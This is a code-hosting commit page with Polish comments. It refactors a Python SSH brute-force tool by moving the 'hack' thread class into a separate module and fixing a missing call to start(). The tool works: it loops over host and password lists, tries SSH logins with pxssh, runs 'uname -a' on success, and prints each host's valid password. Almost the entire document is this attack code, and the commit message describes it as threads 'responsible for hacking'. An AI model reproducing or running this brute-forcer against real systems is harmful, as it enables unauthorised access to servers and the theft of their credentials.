Commit 6fb1f88f authored by Piotr "PHT" Jasiek's avatar Piotr "PHT" Jasiek

oddzielone wątki odpowiedzialne za hakowanie.

parent 8f983c76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pexpect import pxssh
import os
import argparse
import time
import sys
import os
import threading
from modules.database import *
from modules.fileoperations import *
from modules.fontcolor import *
from modules.sshoperations import *
import argparse
import time
import sys
import os
import thread
from modules.hackthreads import *
parser = argparse.ArgumentParser()
parser.add_argument('--user', required=True)
......@@ -26,54 +27,6 @@ max_processes = args.limit
lista_hostow = [i.strip() for i in hosts.readlines()]
lista_hasel = [i.strip() for i in passwords.readlines()]
####
class hack (threading.Thread):
def __init__(self, host, user, hasla):
threading.Thread.__init__(self)
self.host = host
self.user = user
self.hasla = hasla
def run(self):
for self.haslo in self.hasla:
s = pxssh.pxssh()
try:
s.login (self.host, self.user, self.haslo)
except pxssh.ExceptionPxssh as e:
if "Could not establish connection to host" in e.value:
print bcolors.FAIL, "Blad polaczenia:", self.host, bcolors.ENDC
break
elif "Connection timed out" in e.value:
print bcolors.FAIL, "Timeout", self.host, bcolors.ENDC
break
else:
print bcolors.FAIL, "Unknown error", self.host, bcolors.ENDC
break
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(self.host, self.user, self.haslo, uname)
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
####
def thread_amount():
amount = int(os.popen('ps x | grep -i "/usr/bin/ssh -q -l" | wc -l').read())
amount = amount - 2
return amount
#main part
to_run = len(lista_hostow)
while (to_run != 0 and to_run > 0):
......@@ -89,7 +42,7 @@ while (to_run != 0 and to_run > 0):
time.sleep( 1 )
try:
hack(host, user, lista_hasel).start
hack(host, user, lista_hasel).start()
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Uruchamiam kolejne zadanie -", host, bcolors.ENDC
......
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import threading
from pexpect import pxssh
import os
###Klasa odpowiadająca za połączenie z hostami i dopasowywanie haseł
class hack (threading.Thread):
def __init__(self, host, user, hasla):
threading.Thread.__init__(self)
self.host = host
self.user = user
self.hasla = hasla
def run(self):
for self.haslo in self.hasla:
s = pxssh.pxssh()
try:
s.login (self.host, self.user, self.haslo)
except pxssh.ExceptionPxssh as e:
if "Could not establish connection to host" in e.value:
print bcolors.FAIL, "Blad polaczenia:", self.host, bcolors.ENDC
break
elif "Connection timed out" in e.value:
print bcolors.FAIL, "Timeout", self.host, bcolors.ENDC
break
else:
print bcolors.FAIL, "Unknown error", self.host, bcolors.ENDC
break
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(self.host, self.user, self.haslo, uname)
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
###Funkcja która zlicza ile jest obecnie otwartych wątków/połączeń
def thread_amount():
amount = int(os.popen('ps x | grep -i "/usr/bin/ssh -q -l" | wc -l').read())
amount = amount - 2
return amount
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment